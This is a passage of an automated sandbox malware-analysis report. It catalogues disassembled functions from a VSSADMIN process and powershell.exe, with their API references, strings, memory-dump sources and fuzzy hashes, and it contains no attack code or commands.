Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: 00007D592F1170
String ID: ..\s\crypto\x509v3\v3_utl.c$TRUE
API String ID: 4247867426-4249600833
Opcode ID: f6c348c2a3a98660fe814743a8586d2045fedeffcd3228dedd6face5aebd5a41
Instruction ID: 3818b598d7c902feb4555ed55ef76cf18f3e0cb669f362387e53de3826a9e6b6
Opcode Fuzzy Hash: f6c348c2a3a98660fe814743a8586d2045fedeffcd3228dedd6face5aebd5a41
Instruction Fuzzy Hash: D831C023F0A74A85FA189F52A4247A963A0AF84780F484436EF4D27785EF3EE541E301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8C138 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF614C8C24F
GetLastError.KERNEL32 ref: 00007FF614C8C271

Strings

U, xrefs: 00007FF614C8C1FB

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 9641b601b92cf1c294df7ef4fdae47acd46cee34d30520abb55b7c3ed1eb45b0
Instruction ID: 105004092851e96d1fb8d19be8496505c19edd8cfd7d6e0b675a146e1da7a494
Opcode Fuzzy Hash: 9641b601b92cf1c294df7ef4fdae47acd46cee34d30520abb55b7c3ed1eb45b0
Instruction Fuzzy Hash: 7D418232618A4296DB20CF65E4843BA6771FB99BA4F504036EE4DC7798DF3CD441D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF39BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

00007FFD5FD8BBA0.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FFD3FDBE61D

Strings

Filename=, xrefs: 00007FFD3FDBE592, 00007FFD3FDBE601
..\s\crypto\rand\randfile.c, xrefs: 00007FFD3FDBE57C, 00007FFD3FDBE5E0

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: 00007
String ID: ..\s\crypto\rand\randfile.c$Filename=
API String ID: 3568877910-2201148535
Opcode ID: 6f88aa77b3787b65bf21e9a5eb4250f5c66180b7d9e03cb661efe32528626253
Instruction ID: 03af7a973474a73f1550f85d44679be2ce6fd4aae8fe07d5c89a59eaebd24924
Opcode Fuzzy Hash: 6f88aa77b3787b65bf21e9a5eb4250f5c66180b7d9e03cb661efe32528626253
Instruction Fuzzy Hash: FA31AEB2B1CB4A86EA28DF25E4607A973A1EF84744F804136DB1D07695EF3DE508E741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8E538 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF614C8E578
GetCurrentDirectoryW.KERNEL32 ref: 00007FF614C8E5CA

Strings

:, xrefs: 00007FF614C8E58E

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: ec3214c4d7917cf546e280b353fd1dbc1381fd762ef9d9999209277b74e9521f
Instruction ID: 2dfe0e81140b3302117c91b007f1316cc101a4416b68701f276e916ffa950930
Opcode Fuzzy Hash: ec3214c4d7917cf546e280b353fd1dbc1381fd762ef9d9999209277b74e9521f
Instruction Fuzzy Hash: 3621B172A08A8282EB209B15D48427E63B1FB86F64F454037DA8DC3684DF7DE985DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF338C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32 ref: 00007FFD3FCB9F47
WSAGetLastError.WS2_32 ref: 00007FFD3FCB9F52

Strings

..\s\crypto\bio\b_sock.c, xrefs: 00007FFD3FCB9F06, 00007FFD3FCB9F68, 00007FFD3FCB9F84, 00007FFD3FCB9FB7

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: ErrorLastgetsockname
String ID: ..\s\crypto\bio\b_sock.c
API String ID: 566540725-540685895
Opcode ID: 6b4fc8a7a88fb01f9812228e0b07841756f3377f257988557045c535e6cc1a7b
Instruction ID: 0d93c62effcc2fc412836c9601d0ba00da83e6a1d128a697e0a57631ed443482
Opcode Fuzzy Hash: 6b4fc8a7a88fb01f9812228e0b07841756f3377f257988557045c535e6cc1a7b
Instruction Fuzzy Hash: 2821B0B2B0860A86E724DF60E8616EEB360EF80755F400135EB6C02AD4DF7DE599EB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C72770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

MessageBoxW.USER32 ref: 00007FF614C72845
MessageBoxA.USER32 ref: 00007FF614C72861

Strings

Fatal error detected, xrefs: 00007FF614C7281B, 00007FF614C72853

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: 467762ab5f403c00d0413d4f15cd763011442619e8d5336c18fe6ceaac1fee72
Instruction ID: a49303f06f8780b8e014b4f9c7065a12ecf7965e4abde25aa76fce8a106fb723
Opcode Fuzzy Hash: 467762ab5f403c00d0413d4f15cd763011442619e8d5336c18fe6ceaac1fee72
Instruction Fuzzy Hash: D821A67262CA8292EB20DB14F4906EA7374FF95B98F805136E64D87A65DF3DD245C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C72890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

MessageBoxW.USER32 ref: 00007FF614C72965
MessageBoxA.USER32 ref: 00007FF614C72981

Strings

Error detected, xrefs: 00007FF614C7293B, 00007FF614C72973

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 3a752796a53e4bc79ccde23300fb76c48695a964a89870303d0a97fe25c8ba30
Instruction ID: e4213435244b9469cfa5219e9e3788d136793a4e1cb18b9816c5f1dd7773f744
Opcode Fuzzy Hash: 3a752796a53e4bc79ccde23300fb76c48695a964a89870303d0a97fe25c8ba30
Instruction Fuzzy Hash: BA21867262CA8292EB20D714F4916EAB374FF95B98F805136E68D87A65DF3DD205C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7EFE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF614C7F024
RaiseException.KERNEL32 ref: 00007FF614C7F06A

Strings

csm, xrefs: 00007FF614C7F057

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0a7d407d7729a8694e7779ca2a1de00754ab8488b643d7346c0eaced0571dbb1
Instruction ID: fec1f0a4ab71d96dae5c7cde083ccec8d9e5605f7e08bb13d27bbcb3617339c3
Opcode Fuzzy Hash: 0a7d407d7729a8694e7779ca2a1de00754ab8488b643d7346c0eaced0571dbb1
Instruction Fuzzy Hash: A8113D32608F8182EB158F15F48026977A4FB89FA8F184235DF8D47764DF3DD5518700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8F03C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8F06C
GetDriveTypeW.KERNEL32 ref: 00007FF614C8F0AC

Strings

:, xrefs: 00007FF614C8F095

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 088d6e29a3b0fed2a997de7a9fe2f09f1c5d5ef028721ffa5e057cac36b0a100
Instruction ID: c4f82c2235458d99cb60745b9e31a72a69d7a9732c52fc391b20815b90c59dec
Opcode Fuzzy Hash: 088d6e29a3b0fed2a997de7a9fe2f09f1c5d5ef028721ffa5e057cac36b0a100
Instruction Fuzzy Hash: C1018461A1CA438AFB209F6094E127E63B0EF46B68F440137D74DC7691EF2DE545DA18

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF6BEA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FFD3FCBA102
WSAGetLastError.WS2_32 ref: 00007FFD3FCBA10E

Strings

..\s\crypto\bio\b_sock.c, xrefs: 00007FFD3FCBA124

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: ErrorLastioctlsocket
String ID: ..\s\crypto\bio\b_sock.c
API String ID: 1021210092-540685895
Opcode ID: 4d68a102142dda0a141e0aa41e49ba71bac8bdbe77c0eb6d10dc70971b8a66ca
Instruction ID: 291cba6b400d356c539aa8b98ba3f851da15430f0dc7b5655f966bf069994d25
Opcode Fuzzy Hash: 4d68a102142dda0a141e0aa41e49ba71bac8bdbe77c0eb6d10dc70971b8a66ca
Instruction Fuzzy Hash: 86E0D861F0860B86F7185F60E870B792350EF44705F000534EF5D82790DF2DE558AA00

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7028, Parent PID: 6908COMMON

Executed Functions

Function 00007FFCDFCB67F5 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205715498.00007FFCDFCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfcb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 218e1b302597229f65b0dfd977a784d911dfa0ddb02c1604bd0712749584263a
Instruction ID: 239bbca0a9d0f20ccb27ed54938c24129131d8096f4f457731595a39f882fa1c
Opcode Fuzzy Hash: 218e1b302597229f65b0dfd977a784d911dfa0ddb02c1604bd0712749584263a
Instruction Fuzzy Hash: F7D12436A0DAAE4FEBA5976898151BD7BA1FF85390F0801FFD05DC70D3DA18A814D351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFBE79AA Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205424181.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f6da8ea310a472e6f4db7dee09ab3bc97a0f2d24c2ad39d2699cb80b864f822
Instruction ID: 61f394e6121f8525584eb1bc629bc6c96f4688f1b75c4343152d16865e80bb5e
Opcode Fuzzy Hash: 8f6da8ea310a472e6f4db7dee09ab3bc97a0f2d24c2ad39d2699cb80b864f822
Instruction Fuzzy Hash: CCC18031A08A5E9FDF98DF5CD455AAD77E1FF68300F24416AD419D7286CB34E882CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFCB452C Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205715498.00007FFCDFCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfcb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff27d33c100def991a2202ae8ee56e0af2f1777890732a1b5ef20cbd2a1f1c6
Instruction ID: 0e40aec4e6baaf9f951ab48884870b3d878ca9094434815c0376173131f65f8b
Opcode Fuzzy Hash: 2ff27d33c100def991a2202ae8ee56e0af2f1777890732a1b5ef20cbd2a1f1c6
Instruction Fuzzy Hash: 3251D036E0CA6D4FEBA8DA1CA8156BD37D1FF952A0F0801BBD05DC3192DA15AD15C391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFCB4253 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205715498.00007FFCDFCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfcb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7f129083123670759695ce236956dbb17996f95b524389f25fd352a8ffaa47
Instruction ID: a7e01d42c979a62e52f3b4b2501cebb47a22af0f387d07825641e2c9bff3abff
Opcode Fuzzy Hash: cd7f129083123670759695ce236956dbb17996f95b524389f25fd352a8ffaa47
Instruction Fuzzy Hash: B4510126B0DA6E0FEBA9DA1C645127C37D2FFC52A0F4901BBC06EC7192CE25E815C352

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFBEA9A8 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205424181.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e9a81214c54cbc1243883b40537f5d77d4afd61816875674338b4fd253ef167
Instruction ID: 3c023ff3352597cb924d751ef156a1e3bd1df0b40152b0df0c58d06d5b221d3d
Opcode Fuzzy Hash: 3e9a81214c54cbc1243883b40537f5d77d4afd61816875674338b4fd253ef167
Instruction Fuzzy Hash: E931903191CB4C9FDB189B4C984A6AD7BE0FBA8321F00422FE459D3252DB70A8558BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFCB429F Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205715498.00007FFCDFCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfcb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78545f2b996e834b4d83696c44e191dc6d8461292cacf1d7dfec5756a8290889
Instruction ID: 0ba927594bba8f3023ba5354abc4a9f2420617da6222b031f8c7002502e37dbb
Opcode Fuzzy Hash: 78545f2b996e834b4d83696c44e191dc6d8461292cacf1d7dfec5756a8290889
Instruction Fuzzy Hash: 5731BF2AB0DA6B4FEBB9DA18645113C26D1FFC5290F9D01BBC06DC7192CE28E910C352

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFCB459C Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205715498.00007FFCDFCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfcb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9cacb73bab619b6449c8b850f09e44cc9c4f9a94daf3b3960dd9ee138001bdd
Instruction ID: 4d575bd8b9897f57fae7f04d2b0d81e1b06d2a08007771cd5527862b7e8917c9
Opcode Fuzzy Hash: f9cacb73bab619b6449c8b850f09e44cc9c4f9a94daf3b3960dd9ee138001bdd
Instruction Fuzzy Hash: FF11BC36E0D9AA4FE6B5DA18A4609BC66D0FF852A0F4901BBD06DC7092D919AD24C361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFBE37D5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205424181.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcc33d4d49d4dfc0f78d8b6d200cd766edcce86ce717b4eb2af09faad1a86dfd
Instruction ID: 3374eb148f6c064954ed6c353bab9667d28b59ea4ce6d28c2a4843fe25b51521
Opcode Fuzzy Hash: dcc33d4d49d4dfc0f78d8b6d200cd766edcce86ce717b4eb2af09faad1a86dfd
Instruction Fuzzy Hash: 4701677111CB0C4FD748EF0CE451AAAB7E0FB95324F10056EE59AC3651D736E891CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFBEAF06 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205424181.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21a2b0703ab161f9051fe8a518d58348354e5bf80986fdfded781d40d32767a4
Instruction ID: ce3d89cfab0b2545b1f631d821e1a952345affaee07f3e951fb16c33c53879bf
Opcode Fuzzy Hash: 21a2b0703ab161f9051fe8a518d58348354e5bf80986fdfded781d40d32767a4
Instruction Fuzzy Hash: 04F0307180868D8FDB45DF2888194E9BFF0FF65210B0542DBE84DCB562D765D958CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFCDFBE7568 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.205424181.00007FFCDFBE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFCDFBE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffcdfbe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
